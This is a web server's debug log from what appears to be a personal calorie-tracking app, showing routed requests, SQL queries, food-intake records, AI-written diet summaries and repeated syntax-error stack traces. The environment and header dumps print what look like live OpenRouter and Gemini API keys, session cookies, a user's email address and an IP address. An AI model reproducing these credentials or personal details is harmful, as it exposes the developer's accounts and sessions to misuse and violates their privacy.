    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-23T12:33:00.683Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-23T12:33:00.683Z server-connect:app Executing action step identify
2025-12-23T12:33:00.683Z server-connect:app options: { provider: 'security' }
2025-12-23T12:33:00.683Z server-connect:output identity: 1
2025-12-23T12:33:00.683Z server-connect:app Executing action step restrict
2025-12-23T12:33:00.684Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-23T12:33:00.684Z server-connect:output restrict: undefined
2025-12-23T12:33:00.684Z server-connect:app Executing action step single
2025-12-23T12:33:00.684Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-23T12:33:00.686Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-23T12:33:02.046Z server-connect:router Serving templateView /calorie-tracker
2025-12-23T12:33:02.047Z server-connect:app Executing action step identify
2025-12-23T12:33:02.047Z server-connect:app options: { provider: 'security' }
2025-12-23T12:33:02.047Z server-connect:output identity: 1
2025-12-23T12:33:02.047Z server-connect:app Executing action step restrict
2025-12-23T12:33:02.047Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-23T12:33:02.048Z server-connect:output restrict: undefined
2025-12-23T12:33:02.048Z server-connect:router Render template calorie-tracker
2025-12-23T12:33:02.048Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"53b4-hJwt03sV3qAQlEbosi1oHRrMibw"',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3AaJuyKrA9dxFzuOpN8n%2BV4Q%3D%3D.m0LX4dpam4QXhsgsgnd%2BsJNYeL9Y4ygM%2FNvHfuadLFd51jg2OpHj3wFzZIMYcveUGfdwYJlIykDbCjocmC%2Be4OFZqxGqmnOqbpSd1sUax9qUtcxSaDz6XsoiPCaCNja0etzuNVQJDz6T%2Br1tl99eeUQMP9A4WW8bap%2BNvY4q3B8%3D.cIPsyBtQzb8vy8jJDO9YDSKpUSghOQ%2FsrAFXUDw3qUY; your_r_git.sid=s%3AhNs1yiMXhh1ZacQEh_BpZowLC5Diq5oB.LVajFAcIam0FvQcXNsNGPbrKZgHkQzqVRJPSxNUKKn0',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-24T03:50:56.474Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"53b4-hJwt03sV3qAQlEbosi1oHRrMibw"',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3AaJuyKrA9dxFzuOpN8n%2BV4Q%3D%3D.m0LX4dpam4QXhsgsgnd%2BsJNYeL9Y4ygM%2FNvHfuadLFd51jg2OpHj3wFzZIMYcveUGfdwYJlIykDbCjocmC%2Be4OFZqxGqmnOqbpSd1sUax9qUtcxSaDz6XsoiPCaCNja0etzuNVQJDz6T%2Br1tl99eeUQMP9A4WW8bap%2BNvY4q3B8%3D.cIPsyBtQzb8vy8jJDO9YDSKpUSghOQ%2FsrAFXUDw3qUY; your_r_git.sid=s%3AhNs1yiMXhh1ZacQEh_BpZowLC5Diq5oB.LVajFAcIam0FvQcXNsNGPbrKZgHkQzqVRJPSxNUKKn0',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2025-12-23T12:33:02.359Z server-connect:router Serving serverConnect /api/health/todays-calories
2025-12-23T12:33:02.360Z server-connect:router Serving serverConnect /api/gemini/get-health-summary
2025-12-23T12:33:02.360Z server-connect:app Executing action step identify
2025-12-23T12:33:02.361Z server-connect:app options: { provider: 'security' }
2025-12-23T12:33:02.361Z server-connect:output identity: 1
2025-12-23T12:33:02.361Z server-connect:app Executing action step restrict
2025-12-23T12:33:02.361Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-23T12:33:02.362Z server-connect:app Executing action step identify
2025-12-23T12:33:02.362Z server-connect:app options: { provider: 'security' }
2025-12-23T12:33:02.362Z server-connect:output identity: 1
2025-12-23T12:33:02.362Z server-connect:app Executing action step restrict
2025-12-23T12:33:02.362Z server-connect:app options: { provider: 'security' }
2025-12-23T12:33:02.362Z server-connect:output restrict: undefined
2025-12-23T12:33:02.362Z server-connect:app Executing action step single
2025-12-23T12:33:02.363Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'health_summary' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `summary`, `date` from `health_summary` where `health_summary`.`date` = ?'
  }
}
2025-12-23T12:33:02.366Z server-connect:output restrict: undefined
2025-12-23T12:33:02.367Z server-connect:app Executing action step single
2025-12-23T12:33:02.367Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object] ],
    table: { name: 'calories_requirement' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `start_date`, `end_date`, `maintenance_calories`, `weight_kg`, `target_calories` from `calories_requirement` where `calories_requirement`.`start_date` <= ? and `calories_requirement`.`end_date` >= ?'
  }
}
2025-12-23T12:33:02.369Z server-connect:output summary: {
  summary: {
    rating: 4,
    summary: "Today's food intake appears to be relatively light, with a focus on carbohydrates and fats. Protein sources seem limited, which could impact muscle development and recovery goals. The meal timing is not detailed, making it difficult to assess its support for your training. Consistency in your gym routine is a positive factor for progress.",
    bad_points: [
      'Protein intake appears to be low, which is crucial for muscle development.',
      'The balance of macronutrients may not be optimal for your goals.',
      'Limited variety in food choices today.'
    ],
    good_points: [
      'Consistent gym attendance is noted.',
      'Green tea consumption is a healthy choice.'
    ],
    suggestions: [
      'Incorporate more lean protein sources throughout the day, such as chicken, fish, lentils, or paneer.',
      'Ensure meals are well-balanced with adequate protein, complex carbohydrates, and healthy fats.',
      'Consider adding a protein-rich snack post-workout to aid recovery.',
      'Increase hydration by drinking more water.'
    ],
    predicted_weight: 70.1,
    predicted_weight_trend: 'Slight downward trend with some fluctuations.'
  },
  date: '2025-12-22T18:30:00.000Z'
}
2025-12-23T12:33:02.371Z server-connect:output requirements: {
  id: 3,
  start_date: '2025-11-09T18:30:00.000Z',
  end_date: '2025-12-29T18:30:00.000Z',
  maintenance_calories: 2400,
  weight_kg: '71.00',
  target_calories: 1800
}
2025-12-23T12:33:02.371Z server-connect:app Executing action step select
2025-12-23T12:33:02.371Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select * from `calories_tracking` where `calories_tracking`.`intake_date` = ? order by `id` ASC',
    orders: [ [Object] ]
  }
}
2025-12-23T12:33:02.375Z server-connect:output item_list: [
  {
    id: 493,
    intake_date: '2025-12-22T18:30:00.000Z',
    item_name: 'McCain Potato Bites',
    calories: 190,
    protein_gm: 2,
    carbs_gm: 25,
    fat_gm: 9,
    quantity: '1 serving (approx. 85g, based on typical serving size)',
    replacements: 'Baked potato wedges (plain),Air-fried sweet potato fries,Steamed or roasted vegetables',
    created_at: '2025-12-22T22:21:30.000Z',
    skip_level: 3,
    skip_reason: 'McCain Potato Bites are typically deep-fried and high in unhealthy fats and sodium. While they provide some carbohydrates for energy, the processing and frying method make them less ideal for muscle development and overall health compared to whole, unprocessed foods. For muscle development, focusing on lean protein and complex carbohydrates is more beneficial.'
  },
  {
    id: 494,
    intake_date: '2025-12-22T18:30:00.000Z',
    item_name: 'Green Tea',
    calories: 2,
    protein_gm: 0,
    carbs_gm: 0,
    fat_gm: 0,
    quantity: '1 cup (approx 240ml)',
    replacements: 'Water,Herbal tea (e.g., peppermint, chamomile)',
    created_at: '2025-12-23T00:40:50.000Z',
    skip_level: 1,
    skip_reason: 'Excellent for health, contains antioxidants, negligible calories.'
  },
  {
    id: 495,
    intake_date: '2025-12-22T18:30:00.000Z',
    item_name: 'Roti',
    calories: 300,
    protein_gm: 9,
    carbs_gm: 63,
    fat_gm: 3,
    quantity: '3',
    replacements: 'Jowar roti,Bajra roti,Multigrain roti',
    created_at: '2025-12-23T04:03:11.000Z',
    skip_level: 1,
    skip_reason: 'Good source of complex carbohydrates for energy, especially for muscle development. Whole wheat is better.'
  },
  {
    id: 496,
    intake_date: '2025-12-22T18:30:00.000Z',
    item_name: 'Aloo Tamatar Sabji',
    calories: 150,
    protein_gm: 3,
    carbs_gm: 25,
    fat_gm: 5,
    quantity: '1 serving (approx 150g)',
    replacements: 'Sabzi with more leafy greens (e.g., palak sabzi),Sabzi with less potato and more other vegetables (e.g., mixed vegetable sabzi),Boiled or steamed vegetables',
    created_at: '2025-12-23T04:03:11.000Z',
    skip_level: 2,
    skip_reason: 'Potatoes are a good source of carbs, but can be high in calories depending on preparation (e.g., too much oil). For muscle development, focus on lean protein and complex carbs. While not bad, there are more nutrient-dense vegetable options.'
  }
]
2025-12-23T12:33:02.376Z server-connect:app Executing action step setvalue
2025-12-23T12:33:02.376Z server-connect:app options: { key: 'var_total', value: "{{item_list.sum('calories')}}" }
2025-12-23T12:33:02.377Z server-connect:output var_total: 642
2025-12-23T12:33:02.377Z server-connect:app Executing action step setvalue
2025-12-23T12:33:02.377Z server-connect:app options: {
  key: 'var_consumed',
  value: '{{((var_total / requirements.maintenance_calories)*100).round(0)}}'
}
2025-12-23T12:33:02.377Z server-connect:output var_consumed: 27
2025-12-23T12:33:02.377Z server-connect:app Executing action step setvalue
2025-12-23T12:33:02.377Z server-connect:app options: {
  key: 'var_deficit',
  value: '{{requirements.maintenance_calories-var_total}}'
}
2025-12-23T12:33:02.377Z server-connect:output var_deficit: 1758
2025-12-23T12:33:02.386Z server-connect:app Executing action step custom
2025-12-23T12:33:02.387Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT\n' +
      '  ct.intake_date,\n' +
      '  SUM(ct.calories) AS total_consumed,\n' +
      '  COALESCE(cr.maintenance_calories, 0) - SUM(ct.calories) AS surplus_or_deficit,\n' +
      '  CASE\n' +
      '    WHEN SUM(ct.calories) > COALESCE(cr.maintenance_calories, 0) THEN 0\n' +
      '    WHEN SUM(ct.calories) >= COALESCE(cr.target_calories, 0) THEN 1\n' +
      '    ELSE 2\n' +
      '  END AS status_flag\n' +
      'FROM calories_tracking ct\n' +
      'LEFT JOIN (\n' +
      '  -- pick the requirement row that covers TODAY (CURDATE())\n' +
      '  SELECT *\n' +
      '  FROM calories_requirement\n' +
      '  WHERE DATE(start_date) <= CURDATE()\n' +
      '    AND DATE(end_date)   >= CURDATE()\n' +
      '  ORDER BY start_date DESC\n' +
      '  LIMIT 1\n' +
      ') cr ON 1 = 1\n' +
      "WHERE ct.intake_date >= DATE_FORMAT(CURDATE(), '%Y-%m-01')\n" +
      "  AND ct.intake_date <  DATE_ADD(DATE_FORMAT(CURDATE(), '%Y-%m-01'), INTERVAL 1 MONTH)\n" +
      'GROUP BY ct.intake_date\n' +
      'ORDER BY ct.intake_date;',
    params: []
  }
}
2025-12-23T12:33:02.393Z server-connect:output monthly_chart: [
  {
    intake_date: 2025-11-30T18:30:00.000Z,
    total_consumed: '1890',
    surplus_or_deficit: '510',
    status_flag: 1
  },
  {
    intake_date: 2025-12-01T18:30:00.000Z,
    total_consumed: '1094',
    surplus_or_deficit: '1306',
    status_flag: 2
  },
  {
    intake_date: 2025-12-02T18:30:00.000Z,
    total_consumed: '1923',
    surplus_or_deficit: '477',
    status_flag: 1
  },
  {
    intake_date: 2025-12-03T18:30:00.000Z,
    total_consumed: '1851',
    surplus_or_deficit: '549',
    status_flag: 1
  },
  {
    intake_date: 2025-12-04T18:30:00.000Z,
    total_consumed: '2435',
    surplus_or_deficit: '-35',
    status_flag: 0
  },
  {
    intake_date: 2025-12-05T18:30:00.000Z,
    total_consumed: '1055',
    surplus_or_deficit: '1345',
    status_flag: 2
  },
  {
    intake_date: 2025-12-07T18:30:00.000Z,
    total_consumed: '2303',
    surplus_or_deficit: '97',
    status_flag: 1
  },
  {
    intake_date: 2025-12-08T18:30:00.000Z,
    total_consumed: '1571',
    surplus_or_deficit: '829',
    status_flag: 2
  },
  {
    intake_date: 2025-12-09T18:30:00.000Z,
    total_consumed: '1297',
    surplus_or_deficit: '1103',
    status_flag: 2
  },
  {
    intake_date: 2025-12-12T18:30:00.000Z,
    total_consumed: '1882',
    surplus_or_deficit: '518',
    status_flag: 1
  },
  {
    intake_date: 2025-12-13T18:30:00.000Z,
    total_consumed: '404',
    surplus_or_deficit: '1996',
    status_flag: 2
  },
  {
    intake_date: 2025-12-14T18:30:00.000Z,
    total_consumed: '2521',
    surplus_or_deficit: '-121',
    status_flag: 0
  },
  {
    intake_date: 2025-12-15T18:30:00.000Z,
    total_consumed: '2030',
    surplus_or_deficit: '370',
    status_flag: 1
  },
  {
    intake_date: 2025-12-16T18:30:00.000Z,
    total_consumed: '2088',
    surplus_or_deficit: '312',
    status_flag: 1
  },
  {
    intake_date: 2025-12-17T18:30:00.000Z,
    total_consumed: '1668',
    surplus_or_deficit: '732',
    status_flag: 2
  },
  {
    intake_date: 2025-12-18T18:30:00.000Z,
    total_consumed: '2115',
    surplus_or_deficit: '285',
    status_flag: 1
  },
  {
    intake_date: 2025-12-19T18:30:00.000Z,
    total_consumed: '1575',
    surplus_or_deficit: '825',
    status_flag: 2
  },
  {
    intake_date: 2025-12-20T18:30:00.000Z,
    total_consumed: '972',
    surplus_or_deficit: '1428',
    status_flag: 2
  },
  {
    intake_date: 2025-12-21T18:30:00.000Z,
    total_consumed: '1325',
    surplus_or_deficit: '1075',
    status_flag: 2
  },
  {
    intake_date: 2025-12-22T18:30:00.000Z,
    total_consumed: '642',
    surplus_or_deficit: '1758',
    status_flag: 2
  }
]
2025-12-23T12:33:02.911Z server-connect:app Executing action step identify
2025-12-23T12:33:02.911Z server-connect:app options: { provider: 'security' }
2025-12-23T12:33:02.911Z server-connect:output identity: 1
2025-12-23T12:33:23.908Z server-connect:router Serving serverConnect /api/gemini/calculate-calorie
2025-12-23T12:33:23.908Z server-connect:app Executing action step identify
2025-12-23T12:33:23.908Z server-connect:app options: { provider: 'security' }
2025-12-23T12:33:23.908Z server-connect:output identity: 1
2025-12-23T12:33:23.908Z server-connect:app Executing action step restrict
2025-12-23T12:33:23.908Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-23T12:33:23.909Z server-connect:output restrict: undefined
2025-12-23T12:33:23.910Z server-connect:output Error at calculate_calorie: /home/tocyxovu/ems/extensions/server_connect/modules/gemini-ai.js:176
      ${escapedText}
       ^

SyntaxError: Unexpected token '{'
    at wrapSafe (node:internal/modules/cjs/loader:1620:18)
    at Module._compile (node:internal/modules/cjs/loader:1662:20)
    at Module._extensions..js (node:internal/modules/cjs/loader:1820:10)
    at Module.load (node:internal/modules/cjs/loader:1423:32)
    at Module._load (node:internal/modules/cjs/loader:1246:12)
    at TracingChannel.traceSync (node:diagnostics_channel:322:14)
    at wrapModuleLoad (node:internal/modules/cjs/loader:235:24)
    at Module.require (node:internal/modules/cjs/loader:1445:12)
    at require (node:internal/modules/helpers:135:16)
    at App._exec (/home/tocyxovu/ems/lib/core/app.js:699:20)
    at App._exec (/home/tocyxovu/ems/lib/core/app.js:684:20)
    at process.processTicksAndRejections (node:internal/process/task_queues:105:5)
    at async App.exec (/home/tocyxovu/ems/lib/core/app.js:653:5)
    at async App.define (/home/tocyxovu/ems/lib/core/app.js:635:5)
2025-12-23T12:33:23.911Z server-connect:server Got error? /home/tocyxovu/ems/extensions/server_connect/modules/gemini-ai.js:176
      ${escapedText}
       ^

SyntaxError: Unexpected token '{'
    at wrapSafe (node:internal/modules/cjs/loader:1620:18)
    at Module._compile (node:internal/modules/cjs/loader:1662:20)
    at Module._extensions..js (node:internal/modules/cjs/loader:1820:10)
    at Module.load (node:internal/modules/cjs/loader:1423:32)
    at Module._load (node:internal/modules/cjs/loader:1246:12)
    at TracingChannel.traceSync (node:diagnostics_channel:322:14)
    at wrapModuleLoad (node:internal/modules/cjs/loader:235:24)
    at Module.require (node:internal/modules/cjs/loader:1445:12)
    at require (node:internal/modules/helpers:135:16)
    at App._exec (/home/tocyxovu/ems/lib/core/app.js:699:20)
    at App._exec (/home/tocyxovu/ems/lib/core/app.js:684:20)
    at process.processTicksAndRejections (node:internal/process/task_queues:105:5)
    at async App.exec (/home/tocyxovu/ems/lib/core/app.js:653:5)
    at async App.define (/home/tocyxovu/ems/lib/core/app.js:635:5)
2025-12-23T12:33:32.843Z server-connect:router Serving templateView /calorie-tracker
2025-12-23T12:33:32.844Z server-connect:app Executing action step identify
2025-12-23T12:33:32.844Z server-connect:app options: { provider: 'security' }
2025-12-23T12:33:32.844Z server-connect:output identity: 1
2025-12-23T12:33:32.844Z server-connect:app Executing action step restrict
2025-12-23T12:33:32.844Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-23T12:33:32.845Z server-connect:output restrict: undefined
2025-12-23T12:33:32.845Z server-connect:router Render template layouts/main
2025-12-23T12:33:32.845Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    accept: '*/*',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'no-cors',
    'sec-fetch-dest': 'empty',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"1505c-6XZ48wk/QlRgtGeezmrNALUh0rI"',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3AaJuyKrA9dxFzuOpN8n%2BV4Q%3D%3D.m0LX4dpam4QXhsgsgnd%2BsJNYeL9Y4ygM%2FNvHfuadLFd51jg2OpHj3wFzZIMYcveUGfdwYJlIykDbCjocmC%2Be4OFZqxGqmnOqbpSd1sUax9qUtcxSaDz6XsoiPCaCNja0etzuNVQJDz6T%2Br1tl99eeUQMP9A4WW8bap%2BNvY4q3B8%3D.cIPsyBtQzb8vy8jJDO9YDSKpUSghOQ%2FsrAFXUDw3qUY; your_r_git.sid=s%3AhNs1yiMXhh1ZacQEh_BpZowLC5Diq5oB.LVajFAcIam0FvQcXNsNGPbrKZgHkQzqVRJPSxNUKKn0',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-24T03:50:56.474Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    HTTP_ACCEPT: '*/*',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'no-cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"1505c-6XZ48wk/QlRgtGeezmrNALUh0rI"',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3AaJuyKrA9dxFzuOpN8n%2BV4Q%3D%3D.m0LX4dpam4QXhsgsgnd%2BsJNYeL9Y4ygM%2FNvHfuadLFd51jg2OpHj3wFzZIMYcveUGfdwYJlIykDbCjocmC%2Be4OFZqxGqmnOqbpSd1sUax9qUtcxSaDz6XsoiPCaCNja0etzuNVQJDz6T%2Br1tl99eeUQMP9A4WW8bap%2BNvY4q3B8%3D.cIPsyBtQzb8vy8jJDO9YDSKpUSghOQ%2FsrAFXUDw3qUY; your_r_git.sid=s%3AhNs1yiMXhh1ZacQEh_BpZowLC5Diq5oB.LVajFAcIam0FvQcXNsNGPbrKZgHkQzqVRJPSxNUKKn0',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/calorie-tracker'
}
2025-12-23T12:33:35.811Z server-connect:router Serving serverConnect /api/gemini/calculate-calorie
2025-12-23T12:33:35.811Z server-connect:app Executing action step identify
2025-12-23T12:33:35.811Z server-connect:app options: { provider: 'security' }
2025-12-23T12:33:35.811Z server-connect:output identity: 1
2025-12-23T12:33:35.811Z server-connect:app Executing action step restrict
2025-12-23T12:33:35.811Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-23T12:33:35.812Z server-connect:output restrict: undefined
2025-12-23T12:33:35.813Z server-connect:output Error at calculate_calorie: /home/tocyxovu/ems/extensions/server_connect/modules/gemini-ai.js:176
      ${escapedText}
       ^

SyntaxError: Unexpected token '{'
    at wrapSafe (node:internal/modules/cjs/loader:1620:18)
    at Module._compile (node:internal/modules/cjs/loader:1662:20)
